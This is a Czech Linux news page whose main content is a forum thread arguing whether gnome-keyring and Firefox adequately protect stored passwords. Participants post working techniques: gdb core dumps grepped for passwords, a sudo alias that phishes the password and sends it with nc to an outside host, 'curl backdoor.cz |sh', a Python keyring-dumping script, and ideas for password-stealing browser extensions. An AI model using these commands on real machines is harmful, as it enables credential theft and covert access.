Byla vydána nová verze 14.3 svobodného unixového operačního systému FreeBSD. Podrobný přehled novinek v poznámkách k vydání.
CSIRT.CZ upozorňuje, že na základě rozhodnutí federálního soudu ve Spojených státech budou veškeré konverzace uživatelů s ChatGPT uchovávány. Včetně těch smazaných.
Ač semestr ve škole právě končí, bastlíři ze studentského klubu Silicon Hill neodpočívají a opět se jako každý měsíc hlásí s pravidelným bastlířským setkáním Virtuální Bastlírna, kde si můžete s ostatními techniky popovídat jako u piva o novinkách, o elektronice, softwaru, vědě, technice obecně, ale také o bizarních tématech, která se za poslední měsíc na internetu vyskytla.
Z novinek za zmínku stojí Maker Faire, kde Pájeníčko předvedlo … více »Na WWDC25 byl představen balíček Containerization a nástroj container pro spouštění linuxových kontejnerů na macOS. Jedná se o open source software pod licencí Apache 2.0 napsaný v programovacím jazyce Swift.
Do 16. června do 19:00 běží na Steamu přehlídka nadcházejících her Festival Steam Next | červen 2025 doplněná demoverzemi, přenosy a dalšími aktivitami. Demoverze lze hrát zdarma.
Apple na své vývojářské konferenci WWDC25 (Worldwide Developers Conference, keynote) představil řadu novinek: designový materiál Liquid Glass, iOS 26, iPadOS 26, macOS Tahoe 26, watchOS 26, visionOS 26, tvOS 26, nové funkce Apple Intelligence, …
Organizátoři konference LinuxDays 2025, jež proběhne o víkendu 4. a 5. října 2025 v Praze na FIT ČVUT, spustili přihlašování přednášek (do 31. srpna) a sběr námětů na zlepšení.
Po roce byla vydána nová stabilní verze 25.6.0 svobodného multiplatformního multimediálního přehrávače SMPlayer (Wikipedie).
DNS4EU, tj. evropská infrastruktura služeb DNS založená na vysoce federovaném a distribuovaném ochranném ekosystému, byla spuštěna v testovacím režimu [𝕏]. Na výběr je 5 možností filtrování DNS.
Skriptovací programovací jazyk PHP (PHP: Hypertext Preprocessor, původně Personal Home Page) dnes slaví 30 let. Přesně před třiceti lety, 8. června 1995, oznámil Rasmus Lerdorf vydání PHP Tools (Personal Home Page Tools) verze 1.0.
firefox@tatava:~$ id uid=1001(firefox) gid=1002(firefox) groups=1002(firefox),29(audio) firefox@tatava:~$ ps axu |grep iceweasel firefox 1296 0.0 0.0 7944 888 pts/6 S+ 01:03 0:00 grep iceweasel root 7641 0.0 0.0 58808 2004 ? S dub25 0:00 sudo -u firefox iceweasel firefox 7642 1.1 7.2 1155032 586964 ? Sl dub25 3:58 /usr/lib/iceweasel/firefox-bin firefox@tatava:~$ gdb --pid 7642 (gdb) gcore Saved corefile core.7642 (gdb) ^CQuit Detaching from program: /usr/lib/xulrunner-10.0/xulrunner-stub, process 7642 firefox@tatava:~$ strings core.7642 |grep nbusr nbusr123
lukas@devlaptop-raring:~/dev$ gdb --pid 6952 GNU gdb (GDB) 7.5.91.20130417-cvs-ubuntu Copyright (C) 2013 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "i686-linux-gnu". For bug reporting instructions, please see: Attaching to process 6952 Could not attach to process. If your uid matches the uid of the target process, check the setting of /proc/sys/kernel/yama/ptrace_scope, or try again as the root user. For more details, see /etc/sysctl.d/10-ptrace.conf ptrace: Operation not permitted.Tohle je cista instalace raringu - a opet, bez roota to nepude.
Linux se ti postara, aby ti z pameti nikdo (krome roota, coz je ok) neprectl desifrovane heslo.To možná umí hardened kernely, ale jinak si coredump vyhodit můžu.
A ty se pak musis postaratV okamžiku, kdy ti útočník mohl klikat a psát po obrazovce, si tam klidně mohl stáhnout libovolný backdoor. Že se Firefox bude bránit heslo říct nepomůže.
To možná umí hardened kernely, ale jinak si coredump vyhodit můžu.Ten argument s gdb uz dava smysl, narozdil od toho prvniho odkazu s arogantnim komentarem co si poslal. Asi ten keyring budu muset bezet pod separatnim uzivatelem.
V okamžiku, kdy ti útočník mohl klikat a psát po obrazovce, si tam klidně mohl stáhnout libovolný backdoor. Že se Firefox bude bránit heslo říct nepomůže.To je prave blbost. Sestkrat kliknout a nainstalovat backdoor je sakra rozdil. To ze se do systemu da dostat slozite, neznamena ze by to melo jit i jednodusse! Samozrejme, nechavat otevrenou session je dost blbost, ale dovolit aby kdokoliv kdo projde kolem mohl vypsat hesla v plain-textu je blbost stejne tak! Tobe by prislo ok, kdyby sis kdykoliv po prihlaseni mohl vypsat svoje heslo do Linuxu v plain text podobe prikazem "whatismypwd" ?
Asi ten keyring budu muset bezet pod separatnim uzivatelem.Bohužel pokud se loguješ plaintext heslem (a ne třeba nějakou asymetrickou kryptografií), bude muset keyring umět toto heslo nějak předat aplikaci, která si o něj požádá. A jsme zase tam, kde jsme byli. Leda že by keyring požadoval potvrzení každé akce. Ale pak zase musíš nějak ošetřit, aby šlo na X11 udělat bezpečné potvrzení, což teď nejde (libovolný X klient si může hýbat myší, jak chce).
Sestkrat kliknout a nainstalovat backdoor je sakra rozdil.curl backdoor.cz |sh
ale dovolit aby kdokoliv kdo projde kolem mohl vypsat hesla v plain-textu je blbost stejne tak!Na druhou stranu nemožnost získání uloženého hesla z aplikace (má to tak třeba Psi+) považuji za vážný nedostatek. Člověk potřebuje zjistit heslo k Jabberu, aby se mohl přihlásit na mobilu, a musí kvůli tomu hackovat vlastní systém? WTF? Firefoxí cesta, kdy chce znovu zadat heslo, které už zná… no, budiž. Nejspíš jsem deformovaný tím, že mám kamarády, kteří, když odejdu od nezamčené session, spíš nainstalují ten backdoor, než aby se koukali do Firefoxu
Bohužel pokud se loguješ plaintext heslem (a ne třeba nějakou asymetrickou kryptografií), bude muset keyring umět toto heslo nějak předat aplikaci, která si o něj požádá. A jsme zase tam, kde jsme byli. Leda že by keyring požadoval potvrzení každé akce.Ano, presne o tom to video je, ze toto gnome-keyring neumi, a je z toho obrovsky _realny_ bezpectnostni problem! btw. neni potreba potrvrzovat kazdou akci.
Ale pak zase musíš nějak ošetřit, aby šlo na X11 udělat bezpečné potvrzení, což teď nejde (libovolný X klient si může hýbat myší, jak chce).Jo, poresit bezpectnost Xkek (resp. Mir a Wayland) je taky potreba - i kdyz, o realnych utocich na Xka toho moc nevim, jen z doslechu.
curl backdoor.cz |shNaivni. Musis ho schovat a to muze byt fakt sranda, kdyz nemas root pristup! Navic ti ten backdoor pri spravne zabezpecenem keyringu bude k nicemu, protoze ty hesla z nej stejne nedostanes
Na druhou stranu nemožnost získání uloženého hesla z aplikace (má to tak třeba Psi+) považuji za vážný nedostatek.WTF
Firefoxí cesta, kdy chce znovu zadat heslo, které už zná… no, budiž.Chce ho znat znovu, protoze rozlisuje mezi pouzivanim a zobrazenim hesel z keyringu - coz se mi _dost_ libi.
Nejspíš jsem deformovaný tím, že mám kamarády, kteří, když odejdu od nezamčené session, spíš nainstalují ten backdoor, než aby se koukali do FirefoxuVe firefoxu toho moc nevyctou, ale v gnome-keyringu toho najdou vic nez pomoci backdooru.
Naivni. Musis ho schovat a to muze byt fakt sranda, kdyz nemas root pristup! NavicA ty vis, co je v tom skriptu? :) A "spravne zabezpeceny keyring" je akorat tak zamceny a nikdy neodemceny keyring.
alias sudo='read -s -p "Password:" p; echo; echo -n "$p"|nc -q 0 mrkva.eu 6666 > /dev/null 2>&1; sleep 3s; echo -e "Sorry, try again."; `which sudo` $*'je o dost jednodušší než otevírat něco ve FF a něco tam hledat :)
Na druhou stranu nemožnost získání uloženého hesla z aplikace (má to tak třeba Psi+) považuji za vážný nedostatekPresne tak. Ja si v epiphany muzu kliknout na 'zobrazit hesla' a ulozena hesla v prohlizeci se mi normalne zobrazi. Cokoliv jineho je bezduvodna sikana uzivatelu a zacatek vzpoury stroju ;–) .
#include <stdio.h> #include <stdlib.h> #include <string.h> int main() { char* x = malloc(4); strcpy(x,"xxx"); printf("%p\n",x); printf("%s\n",x); while (1) { sleep(10); } }A pak to naivne precist (python):
f = open('/proc/6952/mem') f.seek(0x9dca008) print( f.read(4) )Kde 6952 je pid toho ceckovyho prikladu nahore a 0x9dca008 je adresa pointeru co vypise, ale funguje to take jen pod rootem
ostatní distribuce to ale AFAIK mají povolené.mno
Priste to prosimte zkus pred tim nez budes hazet linky,zkusil jsem :-p
Jinak doufam, ze ti ten bug zavrou jako wontfixProč tak nepřející? Vždyť to vypadá jako bug, který by fakt stálo za to fixnout.
pokud to ve fedore fixnou hezky, tak urcite +1Pokud místo fixnutí bugu půjdou cestou odstranění feature, tak: 1) Půjdou proti vůli hlásícího (kavola, pokud si dobře pamatuju). 2) Bude si z nich každý dělat akorát tak legraci.
Priste to prosimte zkus pred tim nez budes hazet linky, protoze zrovna Fedora 18 to ma ve vychozim nastaveni povolene.Já jsem na to právě na F17/F18 narazil (na F18 jsem upgradoval).
ptrace
sebe povolit pro daný jiný proces pomocí PR_SET_PTRACER
. Což IMO pokrývá všechny případy, které může běžný uživatel potřebovat.
Pokud ten proces vypnes a znova a zapnes s nejakym LD_PRELOAD hackem, tak je ti to k nicemu,Není. Jakmile získám práva uživatele, mohu triviálně zařídit, aby až se příště uživatel přihlásí, knihovnu ke keyringu preloadnul. Game over. Obecněji: Celý Unixový bezpečnostní model je postavený na tom, že uživatel sám sobě věří. Je naprosto naivní myslet si, že když ohackujeme jeden případ, abychom uživatele chránili před sebou samým, tak to bude bezpečné.
Není. Jakmile získám práva uživatele, mohu triviálně zařídit, aby až se příště uživatel přihlásí, knihovnu ke keyringu preloadnul. Game over.Tam to zas tak trivialni nebude, je tam ve hre jeste PAM a display manager.
Obecněji: Celý Unixový bezpečnostní model je postavený na tom, že uživatel sám sobě věří. Je naprosto naivní myslet si, že když ohackujeme jeden případ, abychom uživatele chránili před sebou samým, tak to bude bezpečné.Toto je sice tradicni Unixovy pristup, ale realne uz se peknou radku let nasazuje AppArmor a SELinux a podobna reseni. Osobne se mi libi snaha chranit uzivatele "pred sebou samym". Navic v tomto pripade se jedna o primy pristup k plain-text heslum, a to si "ohackovani jednoho pripadu" zaslouzi. Kdyz se kouknes na mailing list gnome-keyringu, tak zjistis ze ty hesla jsou volne pristupne, protoze nedokazali pres dbus spolehlive overit jaky proces si o ne zada, coz s AppArmor jde - a na tom ted Ubuntu vyvojari delaji.
Osobne se mi libi snaha chranit uzivatele "pred sebou samym".hm, jistě, to je u ovcí velmi oblíbené, neustálé zákazy a příkazy, které ve skutečnosti nic neřeší, jenom ostatním komplikují život - ale což, z cizího krev neteče, dokud to nekomplikuje život mě, anebo pokud si to dovedu správně politicky vysvětlit, jak je vlastně skvělé utahovat si šrouby, tak budu nadále vesele bečet a lobovat za další a další nesmyslná omezení, že ...
Ok, beru to tak ze pristup do pameti jineho procesu bez ptrace opravdu nejde.To netvrdím. Jen jsem líný nad tím přemýšlet, když existuje spousta jednodušších možností, jak systém cracknout
Pokud je cílem, aby děravý webový prohlížeč nemohl kompromitovat celý systémJenže jemu jde o to, aby systém nemohl kompromitovat uživatel (respektive ten, kdo zrovna drží klávesnici od odemčené session). Což mi přijde - přesně, jak píšeš - jako neproveditelné. Dneska uděláme password manager, který nechce říct hesla, a zítra si uvědomíme, že uživatel může zapisovat do .bashrc, s tím by se taky mělo něco dělat…
The lock which secures the door of your home can be picked. It doesn't matter how expensive a lock you buy, someone can pick it. You can buy a top-of-the-line Medeco lock. It doesn't matter. Just go to Defcon, and watch some of the top lockpickers in the world open 10 Medeco locks in a row. Because locks are pickable, they are pointless, therefore we shouldn't put any locks on our doors at all. Does that sound insane to you? I accept the truth that locks are easily pickable, but I certainly want locks on anything and everything I own. Putting locks on things you want to secure is common sense, and part of a strategy known as defense in depth. If someone tells you not to put a lock on your door just because locks are pickable, they're not really a trustworthy source of security advice.
Ukaz realny utok napriklad na ten Firefox na Ubuntu a pokud se muze bavit nez blbe kecatPokud mám minutu, tak nahodím do Firefoxu rozšíření, které bude u každého <input type="password" odesílat obsah celého formu někam do mého api? Jak často kontroluje uživatel, který mě pustí k počítači, kontroluje addony v prohlížeči?
Bavime se o fyzickem pristupu k uzivatelske session, shell si otevres na dve kliknutiMyslel jsem remote shell. Příkazy bude vykonávat přímo Firefox, takže uživatel neuvidí nic v.
ps
- na rozdíl od klasického backdooru.
navic porad musis schovat svuj serverJo jo, to je asi největší problém. I když obstarat si v dnešní době anonymně nějaký stroj už taky není problém (stačí ti PHP shell - najdi si libovolnou stránku se SQLi/path injection).
Myslel jsem remote shell. Příkazy bude vykonávat přímo Firefox, takže uživatel neuvidí nic v ps - na rozdíl od klasického backdooru.Hezky. Ale to zase z Firefoxu nedostanes hesla (teda pokud si tam nepridas prikaz "preposilej mi formulare"). Ale dobry zaklad pro botnet
TODO: Dokážeme modifikovat existující rozšíření v ~/.mozilla, aby tohle dělalo, a přitom nebylo potřeba nové rozšíření viditelné v addon manageru?Nevím jak mozilla, ale Chromium má add-ony asymetricky šifrované...
Jak často kontroluje uživatel, který mě pustí k počítači, kontroluje addony v prohlížeči?Já poměrně často koukám ve svém prohlížeči (chromium) do process manageru, protože mě vytáčí stránky, co žerou hodně RAM/CPU. Jsou v něm mimo jiné vidět i všechna rozšíření a jejich použií RAM/CPU/Network, takže bych si toho snad všim...
from gi.repository import GObject from gi.repository import GnomeKeyring print("Dump all keyring entries...") (_, names) = GnomeKeyring.list_keyring_names_sync() for name in names: print("dumping keyring: %s" % name) (result, ids) = GnomeKeyring.list_item_ids_sync(name) for id in ids: (result, item) = GnomeKeyring.item_get_info_sync(name, id) if result != GnomeKeyring.Result.OK: print('%s is locked!' % id) else: print(' => %s = %s' % (item.get_display_name(), item.get_secret() ) )
Tiskni
Sdílej: